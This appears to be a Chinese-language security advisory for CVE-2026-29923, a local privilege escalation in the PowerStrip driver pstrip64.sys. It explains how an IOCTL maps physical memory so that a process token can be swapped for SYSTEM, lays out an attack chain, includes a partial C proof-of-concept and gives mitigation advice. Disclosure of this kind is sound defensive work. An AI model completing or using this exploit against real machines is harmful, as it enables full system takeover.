IPBUF安全漏洞报告
English
CVE-2026-29923 CVSS 7.8 高危

CVE-2026-29923 PowerStrip本地权限提升漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-29923
漏洞类型
权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
EnTech Taiwan PowerStrip

相关标签

权限提升本地提权驱动程序漏洞内核漏洞PowerStripLPE

漏洞概述

EnTech Taiwan PowerStrip软件版本3.90.736及以下中存在严重的安全漏洞。该漏洞源于其核心驱动组件pstrip64.sys未能正确处理来自用户层的IOCTL请求。低权限的本地攻击者可以利用此漏洞,通过发送特制的IOCTL指令,绕过安全检查,将系统中的任意物理内存映射到当前进程的用户地址空间中。攻击者随后能够读写关键内核结构,最终将当前进程权限提升为SYSTEM,完全接管系统控制权。

技术细节

该漏洞的原理在于pstrip64.sys驱动程序对IOCTL接口的访问控制存在逻辑缺陷。驱动程序在处理特定控制码时,直接信任了用户态传入的物理内存地址参数,未验证该地址是否为合法的可映射区域或是否包含敏感内核数据。攻击者首先调用`CreateFile`函数获取驱动的设备句柄,随后构造包含恶意物理地址的输入缓冲区,通过`DeviceIoControl`发送请求。驱动程序执行该请求后,会调用内核API(如`MmMapIoSpace`)将目标物理内存映射到用户空间。由于内核数据结构(如EPROCESS)常驻物理内存,攻击者可搜索并修改当前进程的Token字段,将其替换为SYSTEM进程的Token,从而实现从普通用户到SYSTEM权限的跨越。

攻击链分析

STEP 1
侦察
攻击者确认目标系统上安装了EnTech Taiwan PowerStrip软件,且版本号小于等于3.90.736。
STEP 2
访问
攻击者以低权限用户身份登录,并获取到pstrip64.sys驱动程序创建的设备句柄。
STEP 3
利用
攻击者构造恶意的IOCTL请求包,指定想要访问的物理内存地址(如内核EPROCESS结构所在地址),并发送给驱动程序。
STEP 4
提权
驱动程序执行请求,将物理内存映射到用户空间。攻击者修改当前进程的Token为SYSTEM Token,获得最高权限。
STEP 5
执行
攻击者以SYSTEM权限执行任意代码,如安装后门、导出敏感数据或擦除痕迹。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-29923 - PowerStrip pstrip64.sys Privilege Escalation * This code demonstrates how to send a malicious IOCTL to map physical memory. * WARNING: For educational purposes only. */ #include <windows.h> #include <stdio.h> #define DEVICE_NAME "\\\\.\\PStrip64" // IOCTL code may vary, this is a placeholder for the vulnerable control code #define IOCTL_MAP_PHYSICAL_MEMORY 0x222003 typedef struct _PHYSICAL_MEMORY_RANGE { UINT64 PhysicalAddress; SIZE_T Size; } PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE; int main() { HANDLE hDevice = INVALID_HANDLE_VALUE; DWORD bytesReturned = 0; PHYSICAL_MEMORY_RANGE inputBuffer; PVOID mappedAddress = NULL; printf("[*] Attempting to open device %s...\n", DEVICE_NAME); hDevice = CreateFileA( DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[+] Device opened successfully.\n"); // Attempt to map physical memory (e.g., HAL heap or EPROCESS) inputBuffer.PhysicalAddress = 0x1000; // Example target address inputBuffer.Size = 0x1000; printf("[*] Sending IOCTL to map physical memory at 0x%llx...\n", inputBuffer.PhysicalAddress); BOOL result = DeviceIoControl( hDevice, IOCTL_MAP_PHYSICAL_MEMORY, &inputBuffer, sizeof(inputBuffer), &mappedAddress, sizeof(mappedAddress), &bytesReturned, NULL ); if (result) { printf("[+] IOCTL successful! Memory mapped at: 0x%p\n", mappedAddress); // Here an attacker would manipulate kernel structures } else { printf("[-] IOCTL failed. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; }

影响范围

EnTech Taiwan PowerStrip <= 3.90.736

防御指南

临时缓解措施
由于该漏洞允许低权限用户直接操作内核内存,建议立即停止使用受影响版本的PowerStrip软件。如果无法卸载,应严格限制系统用户权限,确保仅受信任的管理员能够登录系统,并部署端点检测与响应(EDR)系统监控异常的驱动程序IOCTL调用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表